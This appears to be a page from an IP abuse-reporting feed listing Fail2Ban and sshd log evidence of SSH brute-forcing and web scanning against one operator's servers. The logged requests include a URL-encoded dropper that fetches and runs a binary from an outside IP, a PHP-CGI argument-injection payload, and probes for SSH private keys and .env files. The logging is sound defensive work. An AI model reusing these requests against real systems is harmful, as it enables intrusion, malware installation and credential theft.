๐ง๐ท
20.206.67.15
17 minutes ago
Fail2Ban ct101 Jail: tomcat-404 | Evidence: 20.206.67.15 172.69.138.191 - - [22/Jul/2026:09:13:52 -0 ...
show more
Fail2Ban ct101 Jail: tomcat-404 | Evidence: 20.206.67.15 172.69.138.191 - - [22/Jul/2026:09:13:52 -0300] "GET /by.php HTTP/1.1" 404 18149
20.206.67.15 172.69.138.95 - - [22/Jul/2026:09:13:52 -0300] "GET /cxs.php HTTP/1.1" 404 18149
20.206.67.15 172.69.138.191 - - [22/Jul/2026:09:13:52 -0300] "GET /coffexium.php HTTP/1.1" 404 18149
20.206.67.15 172.69.138.95 - - [22/Jul/2026:09:13:52 -0300] "GET /asdf.php HTTP/1.1" 404 18149
20.206.67.15 172.69.138.191 - - [22/Jul/2026:09:13:52 -0300] "GET /red.php HTTP/1.1" 404 18149
show less
Bad Web Bot
Web App Attack
๐บ๐ธ
2a09:bac5:6d1d:aa::11:16d
23 minutes ago
Fail2Ban Jail: tomcat-honeypot | Evidence: 2a09:bac5:6d1d:aa::11:16d 108.162.212.20 - - [22/Jul/2026 ...
show more
Fail2Ban Jail: tomcat-honeypot | Evidence: 2a09:bac5:6d1d:aa::11:16d 108.162.212.20 - - [22/Jul/2026:09:08:10 -0300] "GET /.ssh/id_ecdsa HTTP/1.1" 404 414
2a09:bac5:6d1d:aa::11:16d 108.162.212.19 - - [22/Jul/2026:09:08:10 -0300] "GET /.ssh/id_ed25519 HTTP/1.1" 404 414
2a09:bac5:6d1d:aa::11:16d 108.162.212.19 - - [22/Jul/2026:09:08:10 -0300] "GET /.ssh/known_hosts HTTP/1.1" 404 414
2a09:bac5:6d1d:aa::11:16d 108.162.212.19 - - [22/Jul/2026:09:08:10 -0300] "GET /.ssh/id_rsa HTTP/1.1" 404 414
2a09:bac5:6d1d:aa::11:16d 108.162.212.20 - - [22/Jul/2026:09:08:10 -0300] "GET /.ssh/config HTTP/1.1" 404 414
2a09:bac5:6d1d:aa::11:16d 108.162.212.19 - - [22/Jul/2026:09:08:10 -0300] "GET /.ssh/authorized_keys HTTP/1.1" 404 414
2a09:bac5:6d1d:aa::11:16d 108.162.212.19 - - [22/Jul/2026:09:08:10 -0300] "GET /.ssh/id_dsa HTTP/1.1" 404 414
show less
Bad Web Bot
๐บ๐ธ
34.181.194.234
27 minutes ago
Fail2Ban Jail: tomcat-honeypot | Evidence: 34.181.194.234 172.70.174.184 - - [22/Jul/2026:09:03:55 - ...
show more
Fail2Ban Jail: tomcat-honeypot | Evidence: 34.181.194.234 172.70.174.184 - - [22/Jul/2026:09:03:55 -0300] "GET //xmlrpc.php?rsd HTTP/1.1" 404 414
show less
Bad Web Bot
๐ฉ๐ช
43.228.157.174
2 hours ago
Fail2Ban ct101 Jail: tomcat-honeypot | Evidence: 43.228.157.174 162.158.110.160 - - [22/Jul/2026:07: ...
show more
Fail2Ban ct101 Jail: tomcat-honeypot | Evidence: 43.228.157.174 162.158.110.160 - - [22/Jul/2026:07:30:01 -0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 404 18193
show less
Bad Web Bot
๐บ๐ธ
172.96.182.111
2 hours ago
Jul 22 07:26:52 fisher sshd[23969]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid ...
show more
Jul 22 07:26:52 fisher sshd[23969]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=172.96.182.111 user=root
Jul 22 07:26:55 fisher sshd[23969]: Failed password for root from 172.96.182.111 port 60400 ssh2
...
show less
Brute-Force
SSH
๐บ๐ธ
38.108.68.174
2 hours ago
Jul 22 07:22:48 fisher sshd[23958]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid ...
show more
Jul 22 07:22:48 fisher sshd[23958]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=38.108.68.174
Jul 22 07:22:50 fisher sshd[23958]: Failed password for invalid user grandpa from 38.108.68.174 port 57408 ssh2
...
show less
Brute-Force
SSH
๐บ๐ธ
193.37.33.206
2 hours ago
Fail2Ban ct101 Jail: tomcat-honeypot | Evidence: 193.37.33.206 172.71.151.143 - - [22/Jul/2026:07:21 ...
show more
Fail2Ban ct101 Jail: tomcat-honeypot | Evidence: 193.37.33.206 172.71.151.143 - - [22/Jul/2026:07:21:22 -0300] "GET /wp-login.php HTTP/1.1" 404 18193
show less
Bad Web Bot
๐ฐ๐ท
211.253.31.30
2 hours ago
Jul 22 07:18:36 fisher sshd[23927]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid ...
show more
Jul 22 07:18:36 fisher sshd[23927]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.253.31.30
Jul 22 07:18:38 fisher sshd[23927]: Failed password for invalid user mir from 211.253.31.30 port 40872 ssh2
...
show less
Brute-Force
SSH
๐ฑ๐น
91.224.92.190
2 hours ago
Fail2Ban Jail: tomcat-honeypot | Evidence: 91.224.92.190 172.68.159.155 - - [22/Jul/2026:06:40:15 -0 ...
show more
Fail2Ban Jail: tomcat-honeypot | Evidence: 91.224.92.190 172.68.159.155 - - [22/Jul/2026:06:40:15 -0300] "GET /wp-admin/css/ HTTP/1.1" 404 414
91.224.92.190 172.68.159.64 - - [22/Jul/2026:06:40:15 -0300] "GET /wp-admin/css/colors/ HTTP/1.1" 404 414
91.224.92.190 172.68.159.155 - - [22/Jul/2026:06:40:15 -0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 404 414
91.224.92.190 172.68.159.155 - - [22/Jul/2026:06:40:15 -0300] "GET /wp-admin/includes/ HTTP/1.1" 404 414
91.224.92.190 172.64.200.31 - - [22/Jul/2026:06:40:16 -0300] "GET /wp-admin/maint/ HTTP/1.1" 404 414
91.224.92.190 172.64.200.65 - - [22/Jul/2026:06:40:16 -0300] "GET /wp-admin/js/ HTTP/1.1" 404 414
91.224.92.190 172.64.200.31 - - [22/Jul/2026:06:40:16 -0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 404 414
91.224.92.190 172.64.198.215 - - [22/Jul/2026:06:40:17 -0300] "GET /wp-admin/images/ HTTP/1.1" 404 414
91.224.92.190 172.64.198.215 - - [22/Jul/2026:06:40:17 -0300] "GET /wp-admin/network/ HTTP/1.1" 404 414
show less
Bad Web Bot
๐ธ๐ช
81.226.129.67
2 hours ago
Fail2Ban ct101 Jail: tomcat-honeypot | Evidence: - 81.226.129.67 - - [22/Jul/2026:06:39:51 -0300] "P ...
show more
Fail2Ban ct101 Jail: tomcat-honeypot | Evidence: - 81.226.129.67 - - [22/Jul/2026:06:39:51 -0300] "POST /index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 404 18193
show less
Bad Web Bot
๐ณ๐ฑ
185.226.197.60
2 hours ago
Fail2Ban Jail: tomcat-honeypot | Evidence: 185.226.197.60 172.71.102.208 - - [22/Jul/2026:06:35:58 - ...
show more
Fail2Ban Jail: tomcat-honeypot | Evidence: 185.226.197.60 172.71.102.208 - - [22/Jul/2026:06:35:58 -0300] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 414
show less
Bad Web Bot
๐ญ๐ฐ
152.32.254.89
3 hours ago
Jul 22 06:30:53 fisher sshd[23847]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid ...
show more
Jul 22 06:30:53 fisher sshd[23847]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=152.32.254.89 user=root
Jul 22 06:30:56 fisher sshd[23847]: Failed password for root from 152.32.254.89 port 50278 ssh2
...
show less
Brute-Force
SSH
๐บ๐ธ
144.225.187.57
3 hours ago
Jul 22 05:54:56 fisher sshd[23665]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid ...
show more
Jul 22 05:54:56 fisher sshd[23665]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=144.225.187.57
Jul 22 05:54:58 fisher sshd[23665]: Failed password for invalid user django from 144.225.187.57 port 42882 ssh2
...
show less
Brute-Force
SSH
๐บ๐ธ
157.245.237.209
3 hours ago
Fail2Ban ct101 Jail: tomcat-honeypot | Evidence: 157.245.237.209 104.22.20.85 - - [22/Jul/2026:05:46 ...
show more
Fail2Ban ct101 Jail: tomcat-honeypot | Evidence: 157.245.237.209 104.22.20.85 - - [22/Jul/2026:05:46:01 -0300] "GET /wp-login.php HTTP/1.1" 404 18193
show less
Bad Web Bot
๐บ๐ธ
107.174.224.198
4 hours ago
Jul 22 05:20:03 fisher sshd[23603]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid ...
show more
Jul 22 05:20:03 fisher sshd[23603]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=107.174.224.198
Jul 22 05:20:05 fisher sshd[23603]: Failed password for invalid user dell from 107.174.224.198 port 43378 ssh2
...
show less
Brute-Force
SSH
๐ณ๐ฑ
45.153.34.204
4 hours ago
Fail2Ban Jail: tomcat-honeypot | Evidence: - 45.153.34.204 - - [22/Jul/2026:05:15:39 -0300] "POST /d ...
show more
Fail2Ban Jail: tomcat-honeypot | Evidence: - 45.153.34.204 - - [22/Jul/2026:05:15:39 -0300] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20rm%20data_arm7%3B%20wget%20http%3A%2F%2F95.182.89.105%2Fdata_arm7%3B%20chmod%20777%20data_arm7%3B%20.%2Fdata_arm7 HTTP/1.1" 404 414
show less
Bad Web Bot
๐ญ๐ฐ
45.207.197.91
4 hours ago
Jul 22 05:04:24 fisher sshd[23576]: Failed password for root from 45.207.197.91 port 35434 ssh2
Jul ...
show more
Jul 22 05:04:24 fisher sshd[23576]: Failed password for root from 45.207.197.91 port 35434 ssh2
Jul 22 05:11:09 fisher sshd[23591]: Invalid user oracle from 45.207.197.91 port 56168
...
show less
Brute-Force
SSH
๐บ๐ธ
174.35.25.181
4 hours ago
Jul 22 05:05:23 fisher sshd[23579]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid ...
show more
Jul 22 05:05:23 fisher sshd[23579]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=174.35.25.181
Jul 22 05:05:25 fisher sshd[23579]: Failed password for invalid user user1 from 174.35.25.181 port 39774 ssh2
...
show less
Brute-Force
SSH
๐ฎ๐ณ
147.93.171.184
4 hours ago
Fail2Ban Jail: tomcat-honeypot | Evidence: 147.93.171.184 172.70.219.30 - - [22/Jul/2026:04:39:20 -0 ...
show more
Fail2Ban Jail: tomcat-honeypot | Evidence: 147.93.171.184 172.70.219.30 - - [22/Jul/2026:04:39:20 -0300] "GET /wp-admin/css/ HTTP/1.1" 404 414
show less
Bad Web Bot
๐ง๐ช
34.53.216.124
4 hours ago
Jul 22 04:34:48 fisher sshd[23494]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid ...
show more
Jul 22 04:34:48 fisher sshd[23494]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=34.53.216.124
Jul 22 04:34:50 fisher sshd[23494]: Failed password for invalid user admin from 34.53.216.124 port 37728 ssh2
...
show less
Brute-Force
SSH
๐ง๐ท
20.197.195.24
5 hours ago
Fail2Ban ct101 Jail: tomcat-404 | Evidence: 20.197.195.24 172.69.138.95 - - [22/Jul/2026:04:30:45 -0 ...
show more
Fail2Ban ct101 Jail: tomcat-404 | Evidence: 20.197.195.24 172.69.138.95 - - [22/Jul/2026:04:30:45 -0300] "GET /images.php HTTP/1.1" 404 18149
20.197.195.24 172.69.138.190 - - [22/Jul/2026:04:30:45 -0300] "GET /gecko.php HTTP/1.1" 404 18149
20.197.195.24 172.69.138.95 - - [22/Jul/2026:04:30:45 -0300] "GET /82.php HTTP/1.1" 404 18149
20.197.195.24 172.69.138.190 - - [22/Jul/2026:04:30:45 -0300] "GET ///admin.php HTTP/1.1" 404 18149
20.197.195.24 172.69.138.95 - - [22/Jul/2026:04:30:45 -0300] "GET /adminner.php HTTP/1.1" 404 18149
show less
Bad Web Bot
Web App Attack
๐น๐ท
94.154.43.177
5 hours ago
Fail2Ban Jail: tomcat-honeypot | Evidence: 94.154.43.177 172.71.183.182 - - [22/Jul/2026:04:26:43 -0 ...
show more
Fail2Ban Jail: tomcat-honeypot | Evidence: 94.154.43.177 172.71.183.182 - - [22/Jul/2026:04:26:43 -0300] "GET /.env HTTP/1.1" 404 414
show less
Bad Web Bot
๐ฉ๐ช
185.242.3.110
5 hours ago
Fail2Ban ct101 Jail: tomcat-honeypot | Evidence: - 185.242.3.110 - - [22/Jul/2026:04:23:39 -0300] "G ...
show more
Fail2Ban ct101 Jail: tomcat-honeypot | Evidence: - 185.242.3.110 - - [22/Jul/2026:04:23:39 -0300] "GET /app/.env HTTP/1.1" 404 18193
show less
Bad Web Bot
๐ง๐ท
162.141.110.117
5 hours ago
Fail2Ban ct101 Jail: tomcat-404 | Evidence: 162.141.110.117 172.64.222.190 - - [22/Jul/2026:04:03:15 ...
show more
Fail2Ban ct101 Jail: tomcat-404 | Evidence: 162.141.110.117 172.64.222.190 - - [22/Jul/2026:04:03:15 -0300] "GET /wordpress/xmlrpc.php HTTP/1.1" 404 18193
162.141.110.117 172.64.222.190 - - [22/Jul/2026:04:03:15 -0300] "GET /site/xmlrpc.php HTTP/1.1" 404 18193
162.141.110.117 172.64.222.190 - - [22/Jul/2026:04:03:15 -0300] "GET /news/xmlrpc.php HTTP/1.1" 404 18193
162.141.110.117 172.69.90.119 - - [22/Jul/2026:04:03:15 -0300] "GET /web/xmlrpc.php HTTP/1.1" 404 18193
162.141.110.117 172.64.222.190 - - [22/Jul/2026:04:03:15 -0300] "GET /main/xmlrpc.php HTTP/1.1" 404 18193
show less
Bad Web Bot
Web App Attack
๐ญ๐ท
89.201.153.220
5 hours ago
Jul 22 03:55:32 node3 sshd[1645556]: pam_unix(sshd:auth): authentication failure; logname= uid=0 eui ...
show more
Jul 22 03:55:32 node3 sshd[1645556]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=89.201.153.220 user=root
Jul 22 03:55:34 node3 sshd[1645556]: Failed password for root from 89.201.153.220 port 37120 ssh2
...
show less
Brute-Force
SSH